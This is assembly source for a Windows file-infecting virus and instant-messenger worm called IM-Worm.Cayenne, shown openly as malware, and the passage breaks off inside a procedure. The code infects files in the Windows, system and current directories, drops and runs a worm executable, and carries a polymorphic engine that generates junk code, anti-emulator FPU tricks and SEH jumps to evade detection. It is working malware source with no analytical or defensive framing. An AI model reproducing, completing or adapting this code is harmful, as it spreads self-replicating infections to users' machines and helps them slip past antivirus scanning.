IM-Worm.Cayenne
by Necronomikon

See also the project folder

; IM-Worm.Cayenne
;(c)by Necronomikon[DCA]            
.586p
.model flat
jumps
.radix 16

 extrn ExitProcess:PROC

.data
 VirusSize equ (offset EndVirus - offset Virus )
 NumberOfApis equ 16d
include ipe32.inc ;(c)by slurp

VirusCode:
Virus:
 call Delta                             ; Get Delta Offset

Delta:
 mov ebx, dword ptr [esp]
                                       
 add esp, 4d
 sub ebx, offset Delta
 neg edx                                

 mov ebp, 65447d
 sub ebp, 65447d
 add ebp, ebx
 jmp KernelSearchStart


Align:                                  ; align File or Section Size
 pushad
 dec dword ptr [ebp+Trash1]             ; Trash
 mov eax, dword ptr [ebp+AlignReg1]
                                        ; clear edx
 push 0
 pop edx
 mov ecx, dword ptr [ebp+AlignReg2]
 div ecx
                                        ; add eax, 1
 inc eax
 mul ecx
 mov dword ptr [ebp+AlignReg1], 0h
 add dword ptr [ebp+AlignReg1], eax
 popad
ret

Startgame:                     
         
 lea edi, [ebp+OldDirectory]

 push edi
 push 255d
 call dword ptr [ebp+XGetCurrentDirectoryA]


 push 255d
 lea ebx, [ebp+DirectoryBuffer]

 push ebx
 call dword ptr [ebp+XGetWindowsDirectoryA]
 lea edi, [ebp+DirectoryBuffer]

 push edi
 call dword ptr [ebp+XSetCurrentDirectoryA]
 call InfectCurDir
                                        ; Infect System Directory
 push 255d
 lea ecx, [ebp+DirectoryBuffer]
 xchg ecx, ebx

 push ebx
 call dword ptr [ebp+XGetSystemDirectoryA]
 lea edi, [ebp+DirectoryBuffer]
 xchg esi, edi

 push esi
 add dword ptr [ebp+Trash1], 1116027    ; Trash
 call dword ptr [ebp+XSetCurrentDirectoryA]
 call InfectCurDir
 call IMWorm

                                        ; restore old directory
 lea edx, [ebp+OldDirectory]

 push edx
 call dword ptr [ebp+XSetCurrentDirectoryA]

 call InfectCurDir
 jmp ExecuteHost

GetApis:                                ; Retrive the APIs we need

                                        ; store old EIP and ImageBase
 push dword ptr [ebp+OldEIP]
 pop ebx

 shr eax, 17d                          
 mov dword ptr [ebp+retEIP], 0
 add dword ptr [ebp+retEIP], ebx

                                        ; clear edi
 sub edi, edi
 add edi, dword ptr [ebp+OldBase]

 mov dword ptr [ebp+retBase], 0
 add dword ptr [ebp+retBase], edi



                                        ; number of API's we're looking for
 push NumberOfApis
 pop ebx

                                        ; load API Names and Offsets
 lea edi, [ebp+APIOffsets]

 mov ecx, offset APINames
 add ecx, ebp


GetApisLoop: 


 call SearchAPI1
                                       
 add ecx, 4d
 push dword ptr [ebp+TempAPI]
 pop edx
 mov dword ptr [edi], -1
 and dword ptr [edi], edx
                                       
 dec edi
 add edi, 5d
 sub ebx, 1
 jnz GetApisLoop
 lea eax, [ebp+XShellExecuteA]
 xchg esi, eax

  mov ebx, 0
 add ebx, 1d
 lea eax, [ebp+Shell32]
 xchg edx, eax

 lea eax, [ebp+ShellExApi]
 xchg eax, ecx

 call GetOtherApis
 jmp Startgame


IMWorm:
 call CreateWorm
 push 0
 push 080h
 push 1h
 push 0
 push 0
 push 0C0000000h
 lea esi, [ebp+WormName]
 xchg ebx, esi

 push ebx
 call dword ptr [ebp+XCreateFileA]
 cmp eax, -1
 je IMWormFailed
 push eax
 push 0
 lea edi, [ebp+Write]

 push edi
 push WormLen
 neg ecx                                
 lea ebx, [ebp+WormDropper]
 xchg edi, ebx

 push edi
 push eax
 call dword ptr [ebp+XWriteFile]
 call dword ptr [ebp+XCloseHandle]
 cmp dword ptr [ebp+XShellExecuteA], 0
 je IMWormFailed
 push 0
 push 0
 push 0
 lea ebx, [ebp+WormName]
 xchg ebx, esi

 push esi
 push 0
 push 0
 call dword ptr [ebp+XShellExecuteA]
IMWormFailed:
ret

                                       ; File Handling
OpenFile:                               ; Open File
                                        
 xor edx, edx

 push edx
 push edx
 push 3h
 push edx
                                        
 inc edx
 push edx
 push 80000000h or 40000000h
 mov edi, ebp
 add edi, offset WFD_szFileName

 push edi
 call dword ptr [ebp+XCreateFileA]

 add eax, 1
 jz Closed
 sub eax, 1

 push eax
 pop dword ptr [ebp+FileHandle]

CreateMap:                              ; Map the file
                                        
 mov ebx, 0
 add ebx, -1d
 and ebx, dword ptr [ebp+WFD_nFileSizeLow]
 push ebx
 push 0
 push ebx
 push 0
 push 00000004h
 push 0
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]
 mov dword ptr [ebp+MapHandle], 0
 add dword ptr [ebp+MapHandle], eax
 pop ebx
 or eax, eax
 jz CloseFile
                                        
 and edx, 0
 push ebx
 push edx
 push edx
                                        
 push 2d
 pop ecx
 push ecx
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]
 or eax, eax
 jz UnMapFile
 mov dword ptr [ebp+MapAddress], -1
 and dword ptr [ebp+MapAddress], eax
 clc
ret

UnMapFile:                              ; Unmap the file and store it to disk
 Call UnMapFile2

CloseFile:                              ; Close the file
 push dword ptr [ebp+FileHandle]
 Call [ebp+XCloseHandle]
 Call ind00r 
Closed:
 stc
ret

UnMapFile2:
 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]
 add ecx, eax                           
ret


FindNextFileProc:                       ; find another file
 call ClearOldData
 lea ebx, [ebp+WIN32_FIND_DATA]
 xchg edx, ebx

 push edx
 or ebx, edx                            
                                        
 mov ebx, -63706d
 add ebx, 63706d
 add ebx, dword ptr [ebp+FindHandle]
 push ebx
 call dword ptr [ebp+XFindNextFileA]
ret

                                        ; Find the first file
FindFirstFileProc:
 call ClearOldData
 lea ebx, [ebp+WIN32_FIND_DATA]
 xchg ebx, edx

 push edx
 push ecx
 add ebx, 46160723d                     
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], 0
 xor dword ptr [ebp+FindHandle], eax
ret


ClearOldData:                           
 pushad
 mov eax, ebp
 add eax, offset WFD_szFileName

                                       
 push 276d
 pop ecx

ClearOldData2:
 mov byte ptr [eax], 0h
                                       
 inc eax
 dec ecx
 jnz ClearOldData2
 popad
ret

ind00r          proc
                pushad                           ; preserve all registers
                call  iInit                      ; initialize poly engine
ind00r_delta:   mov   al, JMP_LONG               ; write jump to main loop
                stosb                            ; store opcode
                push  edi                        ; to reloc jmp l8er
                stosd                            ; store relative offset
                call  WriteJunk                  ; write some junk bytez
                call  iGenProcs                  ; generate procedures
                push  edi                        ; here we want to jump
                call  RelLongJmp                 ; reloc jump to main loop
                or    byte ptr [ebp.nojunk-idelta], 0FFh
                call  iGenLoop                   ; generate main loop
                call  iSEHJump
                sub   edi, [esp.PUSHAD_EDI]      ; calculate decryptor size
                mov   [esp.PUSHAD_ECX], edi      ; ECX = size
                call  iEncrypt                   ; encrypt code!
                popad                            ; restore all registers
                ret                              ; return
ind00r          endp
; main procedure: init
iInit           proc
                ; first of all, calculate new delta offset
                mov   ebp, [esp]
                add   ebp, idelta - offset ind00r_delta ; calculate delta
                                                        ; offset
                ; now init random seed
                push  dword ptr [ebp.RandomConst-idelta]
                pop   dword ptr [ebp.RandomSeed-idelta]

                push  edi                   ; push destination index
                lea   edi, [ebp.InitValues-idelta] ; table with init values

                ; let's store parameterz
                stosd                       ; store size of junk space
                xchg  eax, edx
                stosd                       ; store address of junk space
                xchg  eax, ebx
                stosd                       ; store decrypt rva
                xchg  eax, ecx
                stosd                       ; size of code
                xchg  eax, esi
                stosd                       ; address of code

                ; mix the registers
                lea   esi, [ebp.preg-idelta]
                push  USED_REGS
                call  MixBytes

                ; get number of junk procedures (1 - 5)
                push  JUNK_PROCS      ; 0 - 3
                call  rnd32r
                add   al, MIN_PROCS
                mov   [ebp.ProcCount-idelta], al   ; number of procedures

                ; put the procedures in random order
                lea   esi, [ebp.ProcedureOrder-idelta]
                push  eax
                call  MixBytes

                ; put procedure calls in random order
                lea   esi, [ebp.CallOrder1-idelta]
                push  CALL_ORDER_1
                call  MixBytes

                lea   esi, [ebp.CallOrder2-idelta]
                mov   ecx, eax
                sub   al, CALL_ORDER_2 + 1
                push  eax
                call  MixBytes

                ; get random parameter count for each procedure
                lea   edi, [ebp.ProcParameters-idelta]
                mov   cl, MAX_PROCS
i_par_loop:     push  MAX_PARAMS + 03h       ;   0 - MAX_PARAMS + 2
                call  rnd32r
                sub   al, 02h
                jnc   i_lamest
                xor   eax, eax
i_lamest:       stosb
                loop  i_par_loop
                xor   eax, eax
                stosb

                ; get random key, encryption & key increment type
                lea   edi, [ebp.CryptKey-idelta]
                call  rnd32
                stosd                        ; write key
                call  rnd32
                stosd                        ; write key increment
                push  ENC_RND
                call  rnd32r
                stosb                        ; write encryption type
                push  KEY_RND
                call  rnd32r
                stosb                        ; write key increment type
                pop   edi                    ; pop destination index
                and   word ptr [ebp.InLoop-idelta], 00h
                ret
iInit           endp
; main procedure: encrypt
iEncrypt        proc
                pushad
                lea   esi, [ebp.CryptSize-idelta]
                lodsd                   ; CryptSize
                xchg  eax, ebx
                lodsd                   ; EncryptRVA
                xchg  eax, edi
                lodsd                   ; CryptKey
                xchg  eax, ecx
                lodsd                   ; KeyIncrement
                xchg  eax, edx

encrypt_loop:   mov   al, [ebp.CryptType-idelta] ; get encryption type
                cmp   al, ENC_XOR         ; XOR encryption?
                jnz   ie_not_xor          ; no, check next
                xor   [edi], ecx          ; yes, XOR [preg], key
ie_not_xor:     cmp   al, ENC_ADD         ; ADD decryption?
                jnz   ie_not_add          ; no, check next
                sub   [edi], ecx          ; yes, SUB [preg], key
ie_not_add:     cmp   al, ENC_SUB         ; SUB decryption?
                jnz   ie_not_sub          ; no, check next
                add   [edi], ecx          ; yes, ADD [preg, key
ie_not_sub:     cmp   al, ENC_ROL         ; ROL decryption?
                jnz   ie_not_rol          ; no, check next
                ror   dword ptr [edi], cl ; rotate dword
ie_not_rol:     cmp   al, ENC_ROR         ; ROR decryption?
                jnz   ie_not_ror          ; no, jmp to key increment
                rol   dword ptr [edi], cl ; rotate dword
ie_not_ror:     xchg  ecx, edx
                mov   al, [ebp.KeyIncType-idelta] ; get key increment type
                cmp   al, KEY_ROL         ; ROL key increment?
                jnz   ie_n_rol            ; no, check next
                rol   edx, cl             ; rotate key
ie_n_rol:       cmp   al, KEY_ROR         ; ROR key increment?
                jnz   ie_n_ror            ; no, check next
                ror   edx, cl             ; rotate key
ie_n_ror:       cmp   al, KEY_INC         ; ADD key increment?
                jnz   ie_n_inc            ; no, check next
                add   edx, ecx            ; increment key
ie_n_inc:       cmp   al, KEY_DEC         ; SUB key increment?
                jnz   ie_n_dec            ; no
                sub   edx, ecx            ; decrement key
ie_n_dec:       xchg  ecx, edx
                scasd                     ; increment pointer by 4
                dec   ebx
                jnz   encrypt_loop
                popad
                ret
iEncrypt        endp
; main generator: generate procedure body and some junk around the real
;                 instructions.
iGenProcs       proc
                ; get number of procedures into counter
                movzx ecx, byte ptr [ebp.ProcCount-idelta]
                xor   ebx, ebx  ; set up another counter that counts from 0

                ; for choosin' procedures
                call  rnd32
                xchg  dh, al

gp_loop:        push  ecx
                ; getting number of current procedure
                push  ebx
                movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
                                                    ; ID # of 1st procedure
                mov   [ebp.CurrentProc-idelta], bl  ; for junk gen to
                                                    ; identify current proc
                ; store procedure address
                mov   [ebp.ProcAddress-idelta+4*ebx], edi

                ; get number of parameters
                mov   dl, [ebp.ProcParameters-idelta+ebx]
                test  dl, dl                  ; if no parameter,
                jz    gp_np_entry             ; generate no entry
                ; if procedure has parameters we need to set up EBP
                ; choose between two (similar) entrys:
                ;       ENTER 0000h,00h
                ;             or
                ;       PUSH  EBP
                ;       MOV   EBP, ESP
                test  dh, 01h
                jz    gp_psh_entry
                xor   eax, eax                ; no local variables
                mov   al, PROC_ENTER          ; opcode for enter
                stosd                         ; store instruction
                jmp   gp_np_entry
gp_psh_entry:   mov   eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
                stosd
                dec   edi                     ; wrote 3 bytes
gp_np_entry:    push  ebx
                call  iProcJunk
                pop   ebx
                cmp   ebx, JUNK_PROC
                jnb   gp_junk_proc
                mov   esi, [ebp.Generatorz-idelta+ebx*4]
                add   esi, ebp
                push  edx
                call  esi                     ; call di generator
                pop   edx
gp_junk_proc:   call  iProcJunk               ; make some junk

                mov   eax, edx
                xor   ah, ah
                shl   eax, 08h xor 02h        ; shift left one byte + * 4
                xor   al, PROC_RETP           ; generate ret (with params)
                test  ah, ah                  ; do we have parameters?
                jz    gp_no_par

                mov   byte ptr [edi], POP_REG or REG_EBP
                test  dh, 01h
                jz    gp_psh_exit
                xor   byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
gp_psh_exit:    inc   edi                       ; write pop ebp/leave

                stosd                           ; store RET opcode (C2h)
                dec   edi                       ; only store 3 bytes
                jmp   gp_par
gp_no_par:      inc   eax
                stosb                           ; store RET opcode (C3h)

gp_par:         call  WriteJunk

                pop   ebx
                inc   ebx                       ; increment count
                pop   ecx
                loop  gp_loop
                ret
iGenProcs       endp
; generates main loop with some junk between callz.
iGenLoop        proc
                or    byte ptr [ebp.InLoop-idelta], 01h
                lea   esi, [ebp.CallOrder1-idelta]
                movsx ecx, byte ptr [ebp.ProcCount-idelta]
                or    byte ptr [ebp.CurrentProc-idelta], 0FFh
gl_call_lp:     xor   eax, eax
                lodsb                           ; get numbah of proc
                xchg  eax, ebx
                inc   byte ptr [ebp.CurrentProc-idelta]
                cmp   byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
                jne   gl_yxcmv
                push  edi
gl_yxcmv:
                push  ecx
                movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
                push  ebx
                test  ecx, ecx                  ; 0 parameterz?
                jz    gl_no_par                 ; don't loop
gl_push_lp:
                call  iPushJunk
                loop  gl_push_lp
gl_no_par:
                pop   ebx
                mov   edx, [ebp.ProcAddress-idelta+4*ebx]
                mov   byte ptr [edi], CALL_DIRECT ; write call opcode
                inc   edi
                neg   edi
                lea   eax, [edx+edi-04h]
                neg   edi
                stosd
                pop   ecx                       ; outer loop counter
                loop  gl_call_lp
                mov   bl, [ebp.creg-idelta]    ; generate check if counter
                call  gCheckReg                ; reg is zero
                mov   ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
                stosw                            ; generate JNZ
                pop   eax
                neg   edi
                lea   eax, [eax+edi-04h]         ; eax = eax - (edi + 04h)
                neg   edi
                stosd                            ; store jump offset
                ret
iGenLoop        endp
; generate jump to code
iSEHJump        proc
                mov   edx, [ebp.DecryptRVA-idelta] ; where to jump after
                                                   ; decryption

                ; 1. let's put offset to code on stack

                call  rnd32
                test  al, 01h
                jz    isj_npd

                ; generate PUSH offset CODE
                mov   al, PUSH_IMM                 ; push 32-bit immediate
                stosb
                xchg  eax, edx
                stosd                              ; immediate value
                jmp   isj_npd0

                ; load reg with value and push reg
isj_npd:        call  rnd32
                and   al, REG_EDI
                cmp   al, REG_ESP
                je    isj_npd
                xchg  eax, ebx
                push  ebx
                call  gLoadReg
                pop   eax
                xor   al, PUSH_REG
                stosb

                ; 2. let's clear a reg to index fs:[0]

isj_npd0:       ; get a random register & clear it
                call  rnd32
                and   al, REG_EDI
                cmp   al, REG_ESP
                je    isj_npd0
                mov   ebx, eax
                call  gClearReg
                xchg  eax, ecx

                ; 3. put da old handler on stack

                mov   al, OVERRIDE_FS
                stosb
                xor   ch, ch
                xor   esi, esi
                call  rnd32
                test  al, 01h
                jz    isj_dir
                mov   bh, OPTYPE_MOV
                call  rnd32
                and   al, 02h
                add   bh, al
isj_gnr:        call  rnd32
                and   al, REG_EDI
                cmp   al, cl
                je    isj_gnr
                mov   bl, al
                mov   al, OPSIZE_32
                mov   ah, REG_MEM
                call  ciOpRMReg
                xchg  eax, ebx
                xor   al, PUSH_REG
                stosb
                jmp   isj_dir0
isj_dir:        mov   al, OP_GROUP5
                stosb
                mov   bl, P_PUSH
                call  ciCreateOperand
isj_dir0:
                ; 4. now set new handler to ESP

                mov   al, OVERRIDE_FS
                stosb
                mov   bx, REG_ESP xor (OPTYPE_MOV * 100h)
                mov   ax, OPSIZE_32 xor (MEM_REG * 100h)
                call  ciOpRMReg

                ; 5. let's create some junk that causes exception

                push  03h
                pop   ecx
ex_junk_loop:   push  ecx
                push  OPTYPE_CMP
                call  rnd32r
                xchg  eax, ebx
                call  rnd32
                test  al, 01h
                jz    isj_suck
                mov   bh, bl
                call  rnd32
                and   al, REG_EDI
                mov   bl, al
                push  03h
                call  rnd32r
                mov   ah, MEM_REG
                call  ciOpRMReg
                jmp   isj_suck0
isj_suck:       call  rnd32
                xchg  eax, edx
                push  03h
                call  rnd32r
                call  ciOpRMImm

isj_suck0:      pop   ecx
                loop  ex_junk_loop
                ret
iSEHJump        endp
; load start RVA into pointer register
iProcLdPtr      proc
                mov   edx, [ebp.DecryptRVA-idelta]
                mov   bl, [ebp.preg-idelta]
                jmp   gLoadReg
iProcLdPtr      endp
; load size into counter register
iProcLdCnt      proc
                mov   edx, [ebp.CryptSize-idelta]
                mov   bl, [ebp.creg-idelta]
                jmp   gLoadReg
iProcLdCnt      endp
; load key into key register
iProcLdKey      proc
                mov   edx, [ebp.CryptKey-idelta]
                mov   bl, [ebp.kreg-idelta]
                jmp   gLoadReg
iProcLdKey      endp
; decrypt data word
iProcDecData    proc
                mov   cl, [ebp.preg-idelta]  ; operand = ptr reg
                call  rnd32                  ; get random bit
                mov   bl, 08h
                cmp   byte ptr [ebp.CryptType-idelta], ENC_SUB
                jbe   dd_not_chk_ecx
                cmp   cl, REG_ECX
                jne   dd_not_chk_ecx
                or    al, 01h                ; set 1st bit
dd_not_chk_ecx:
                test  al, 01h            ; is it zero?
                jz    blaaah             ; yes, use direct encryption

                ; create MOV/XCHG junkreg, [preg] (indirect encryption)

dd_get_jnk_reg: call  iGetJunkReg
                cmp   al, REG_ECX            ; is it ECX?
                je    dd_get_jnk_reg         ; yes, use other junk reg
                mov   bl, al
                xor   al, MOD_REG
                push  eax                    ; push code reg for later use
                mov   bh, OPTYPE_MOV         ; generate MOV
                call  rnd32                  ; random numbah
                and   al, 02h
                add   bh, al                 ; zero, use MOV
                                             ; non-zero, use XCHG
                xor   esi, esi               ; no displacement
                mov   al, OPSIZE_32          ; dword, of course
                mov   ah, REG_MEM            ; from memory to register
                call  ciOpRMReg
                pop   ecx
                call  iBlockJunkAR
blaaah:
                ; test for encryption type
                mov   al, [ebp.CryptType-idelta]
                cmp   al, ENC_XOR
                jnz   dd_not_xor
                mov   bh, OPTYPE_XOR   ; generate XOR jreg/[preg], kreg
dd_not_xor:     cmp   al, ENC_ADD
                jnz   dd_not_add
                mov   bh, OPTYPE_ADD   ; generate ADD jreg/[preg], kreg
dd_not_add:     cmp   al, ENC_SUB
                jnz   dd_not_sub
                mov   bh, OPTYPE_SUB   ; generate SUB jreg/[preg], kreg

dd_not_sub:     ja    dd_rotate        ; generate ROR/ROL jreg/[preg], kreg
                push  ecx
                mov   al, OPSIZE_32
                mov   ah, MEM_REG
                mov   bl, [ebp.kreg-idelta]
                xor   ch, ch
                xor   esi, esi
                call  ciOpRMReg
                jmp   dd_exit


dd_rotate:      push  ecx              ; code reg/pointer reg
                push  eax
                push  ecx
                mov   al, [ebp.kreg-idelta]    ; load key register

                cmp   al, REG_ECX              ; ECX?
                jz    dd_no_push               ; yes, no need to push ecx

                or    al, MOD_REG
                xchg  eax, ecx

                push  REG_ECX
                call  iIsJReg
                cmp   eax, 0FFFFFFFFh
                jnz   dd_ecx_isj

                mov   al, PUSH_REG xor REG_ECX ; generate PUSH ECX
                stosb                          ; store opcode
                pop   ebx
                call  iBlockJunkAR
                push  ebx
dd_ecx_isj:     xchg  eax, edx

                mov   bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
                call  rnd32
                mov   al, OPSIZE_32
                and   ah, REG_MEM
                jnz   dd_nxchg
                xchg  bl, cl
dd_nxchg:
                call  ciOpRMReg                ; generate mov ecx, kreg

dd_askdjh:      call  iGetJunkReg
                pop   ebx
                push  ebx
                and   ebx, REG_EDI
                cmp   eax, ebx
                je    dd_askdjh
                cmp   al, REG_ECX
                je    dd_askdjh
                xchg  eax, ebx
                call  iRndJunk
dd_no_push:
                pop   ecx
                pop   eax

                mov   bl, ROR_SHIFT            ; shift type ROR
                cmp   al, ENC_ROR              ; is it ROR?
                jz    dd_enc_ror               ; yes, skip
                dec   ebx                      ; decrement shift type (ROL)
dd_enc_ror:
                mov   al, OPSIZE_32
                mov   bh, SHIFT_CL
                xor   ch, ch                   ; no SIB addressin'
                xor   esi, esi
                call  ciShiftRM

                xchg  eax, edx
                cmp   al, PUSH_REG xor REG_ECX
                jnz   dd_no_pop
                pop   ebx
                push  ebx
                and   ebx, REG_EDI
                call  iBlockJunkAR
                xor   al, PUSH_REG xor POP_REG
                stosb
dd_no_pop:

dd_exit:        pop   ebx                      ; pop code/ptr reg
                mov   eax, ebx
                and   al, MOD_REG
                xor   al, MOD_REG
                jnz   dd_not_save_reg
                and   ebx, REG_EDI
                call  iBlockJunkAR
                mov   cl, [ebp.preg-idelta]
                mov   bh, OPTYPE_MOV
                call  rnd32
                and   al, 02h
                add   bh, al
                mov   ax, OPSIZE_32 or (MEM_REG * 100h)
                xor   ch, ch
                xor   esi, esi
                call  ciOpRMReg
dd_not_save_reg:
                ret

iProcDecData    endp

; increment key
iProcIncKey     proc
                mov   edx, [ebp.KeyIncrement-idelta] ; load key increment
                call  iGetJunkReg                    ; get random junk reg
                xchg  eax, ecx
                mov   ebx, ecx
                mov   al, [ebp.KeyIncType-idelta] ; get key increment type
                mov   bh, OPTYPE_ADD              ; first assume ADD
                cmp   al, KEY_DEC                 ; check if decrement key
                jnz   pik_not_sub                 ; nope, ADD
                mov   bh, OPTYPE_SUB              ; yes, SUB
pik_not_sub:    ja    pik_rotate                  ; > KEY_DEC: rotate!

                call  rnd32
                test  al, 01h
                jz    pik_direct                  ; don't load reg

                push  ebx
                call  gLoadReg            ; move key increment into reg
                pop   ebx
                call  iBlockJunkAR
                xor   bl, MOD_REG
                mov   cl, [ebp.kreg-idelta]      ; get key reg
                xor   ecx, 0FFFFFF00h xor MOD_REG
                push  02h
                call  rnd32r
                test  eax, eax
                jz    pik_blah
                xchg  bl, cl
pik_blah:
                mov   ah, al
                mov   al, OPSIZE_32
                jmp   ciOpRMReg                  ; create instruction
pik_direct:
                mov   al, OPSIZE_32
                mov   bl, bh
                mov   cl, [ebp.kreg-idelta]
                or    ecx, 0FFFFFF00h xor MOD_REG

                jmp   ciOpRMImm

pik_rotate:     xor   bl, bl                     ; ROL shift
                cmp   al, KEY_ROR
                jnz   pik_not_ror
                inc   ebx                        ; ROR shift

pik_not_ror:    mov   ah, dl
                and   ah, 1Fh
                mov   bh, SHIFT_IMM
                mov   al, OPSIZE_32
                mov   cl, [ebp.kreg-idelta]
                xor   cl, MOD_REG
                call  ciShiftRM
                ret
iProcIncKey     endp
; increment pointer by 4
iProcIncPtr     proc
                push  04h                       ; we have 4 methods
                call  rnd32r                    ; to do so
                mov   cl, [ebp.preg-idelta]
                xor   cl, MOD_REG               ; pointer reg, of course
                push  04h
                pop   edx                       ; mov edx, 4 (optimized :P)
                test  al, al
                jnz   pip_not_add
                mov   bl, OPTYPE_ADD
pip_not_add:    cmp   al, 01h
                jnz   pip_not_sub
                neg   edx
                mov   bl, OPTYPE_SUB
pip_not_sub:    cmp   al, 02h
                jnz   pip_not_adc
                mov   bl, OPTYPE_ADC
                dec   edx
                mov   byte ptr [edi], SET_CRY
                inc   edi
pip_not_adc:    cmp   al, 03h
                jnz   pip_not_lea

                ; generate lea preg, [preg + 04h]
                mov   byte ptr [edi], LOAD_EA
                inc   edi
                and   cl, REG_RND - 1
                mov   bl, cl
                push  esi
                xchg  edx, esi
                xor   ch, ch
                call  ciCreateOperand
                pop   esi
                ret
pip_not_lea:    mov   al, OPSIZE_32
                jmp   ciOpRMImm
                ret
iProcIncPtr     endp
; decrement counter
iProcDecCnt     proc
                push  05h
                call  rnd32r
                mov   cl, [ebp.creg-idelta]
                or    cl, MOD_REG
                xor   edx, edx
                test  al, al
                jnz   pdc_not_dec

                ; generate DEC creg
                mov   al, DEC_REG
                or    al, [ebp.creg-idelta]
                stosb
                ret
pdc_not_dec:    cmp   al, 01h
                jnz   pdc_not_add_FF

                ; generate ADD creg, -1
                mov   bl, OPTYPE_ADD
                dec   edx
pdc_not_add_FF: cmp   al, 02h
                jnz   pdc_not_sbb

                ; generate STC, SBB creg, 0
                mov   byte ptr [edi], SET_CRY
                inc   edi
                mov   bl, OPTYPE_SBB

pdc_not_sbb:    cmp   al, 03h
                jnz   pdc_not_lea
                ; generate LEA creg, [creg - 1]

                mov   byte ptr [edi], LOAD_EA
                inc   edi
                and   cl, REG_RND - 1
                mov   bl, cl
                push  esi
                xor   esi, esi
                dec   esi
                xor   ch, ch
                call  ciCreateOperand
                pop   esi
                ret

pdc_not_lea:    cmp   al, 04h
                jnz   pdc_not_sub
                ; generate SUB creg, 1
                mov   bl, OPTYPE_SUB
                inc   edx

pdc_not_sub:    mov   al, OPSIZE_32
                jmp   ciOpRMImm
iProcDecCnt     endp

; fool some emulatorz
iProcFPUFool    proc

                ; initialize FPU
                mov   eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
                stosd
                dec   edi

                ; choose random address to store result
                call  iGetWrMem
                push  GF_METHCNT                ; choose between 4 methods
                call  rnd32r
                push  eax
                inc   eax
                mov   edx, eax

                ; store initial value in memory
                mov   al, OPSIZE_32
                mov   bl, OPTYPE_MOV
                call  ciOpRMImm

                call  iRndRegJ

                ; load dword from address into fpu register
                call  rnd32
                and   al, FPU_WORD_LDST
                or    al, FPU_INT_LDST
                mov   bl, FPU_LOAD
                stosb
                call  ciCreateOperand

                ; calculate address of method and execute it!
                pop   eax
                push  eax
                mov   ebx, [ebp.gf_methods-idelta+4*eax]
                add   ebx, ebp
                call  ebx

                ; write back dword from st(0)
                call  iGetWrMem
                call  rnd32
                and   al, FPU_WORD_LDST xor FPU_INT_LDST
                xor   al, FPU_INT_LDST
                mov   bl, FPU_STORE
                stosb
                call  ciCreateOperand
                call  iRndRegJ

                ; check returned value of FPU instructions.

                pop   eax
                push  edi            ; label1 in ECX (see below)
                movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
                push  03h
                call  rnd32r
                add   al, OPTYPE_SUB            ; SUB, CMP or XOR
                xchg  eax, ebx
                xor   al, al
                push  edi
                call  ciOpRMImm

                ; if not equal, generate endless loop (fuck some emulatorz)

                ; generate JZ or JNZ
                pop   ebx
                pop   ecx
                mov   al, ah              ; get another random byte
                test  al, 40h
                jnz   gf_as1              ; not zero, jump after junk
                xchg  ecx, ebx
gf_as1:

                call  rnd32               ; random dword
                and   al, 01h
                jz    gf_el1              ; zero, generate JZ

                ;  jump back before compare instruction or afta
                ;
                ;  label1:       <access mem junk>
                ;  label2:       CMP/SUB/XOR
                ;                JNZ  label2/label3

                xchg  eax, ecx
                mov   byte ptr [edi], JMPC_SHORT xor COND_NZ
                inc   edi
                sub   eax, edi            ; calculate relative offset
                dec   eax                 ; we need to dec rel
                stosb                     ; write relative jmp offset
                ret

gf_el1:
                ;
                ;                JZ   label2/label3
                ;  label1:       <junk>
                ;                JMP  label1
                ;  label2:       <junk>
                ;  label3:
                ;
                xchg  eax, ecx
                mov   byte ptr [edi], JMPC_SHORT xor COND_Z
                inc   edi
                push  edi
                inc   edi
                call  iBlockJunk
                mov   byte ptr [edi], JMP_SHORT
                inc   edi
                sub   eax, edi
                dec   eax
                stosb
                push  edi
                call  iBlockJunk
                mov   ebx, edi
                pop   ecx
                mov   al, ah              ; get another random byte
                test  al, 20h
                jnz   gf_as2
                xchg  ecx, ebx
gf_as2:         xchg  eax, ecx
                pop   eax
                neg   eax
                lea   ebx, [edi+eax-01]
                neg   eax
                mov   [eax], bl

gf_xit:
                ret

gf_rslt_table   db    03h, 07h, 02h, 00h

gf_meth1:       call  rnd32
                and   al, 01h
                jz    gf_meth11
                mov   ax, FPU_LDPI
                stosw
                call  iBlockJunk
                mov   al, FPU_WORD_OP
                stosb
                mov   bl, FPU_MULP
gf_meth1e:      mov   cl, REG_ST1 or MOD_REG
                jmp   ciCreateOperand

gf_meth11:      mov   ax, FPU_LDLG2
                stosw
                call  iBlockJunk
                mov   al, FPU_WORD_OP
                stosb
                mov   bl, FPU_DIVP
                jmp   gf_meth1e

gf_meth2:       mov   ax, FPU_LDL2T
                stosw
                call  iBlockJunk
                mov   al, FPU_DWORD_OP
                stosb
                mov   bl, FPU_MUL
                mov   cl, REG_ST1 or MOD_REG
                jmp   ciCreateOperand


gf_meth3:       mov   ax, FPU_LDLN2
                stosw
                call  iBlockJunk
                mov   ax, FPU_SQRT
                stosw
                mov   al, FPU_QWORD_OP
                stosb
                mov   bl, FPU_MUL
                mov   cl, REG_ST1 or MOD_REG
                call  ciCreateOperand
                mov   ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
                stosw
                ret

gf_methods      equ   $
                dd    offset gf_meth1-idelta
                dd    offset gf_meth2-idelta
                dd    offset gf_meth3-idelta
GF_METHCNT      equ   3
iProcFPUFool    endp
; main procedure: generate 1-3 different junk blockz
iProcJunk       proc
                push  ecx              ; preserve counter
                push  03h              ; get random number between 0 and 4
                call  rnd32r
                inc   eax              ; add 1 (1 - 3)
                xchg  eax, ecx         ; load into counter
                call  iBlockJunk       ; generate junk blocks
                loop  $ - 05h
                pop   ecx              ; restore counter
                ret
iProcJunk       endp
; main procedure: generate 1 junk block
iBlockJunk      proc
                mov   bl, 08h
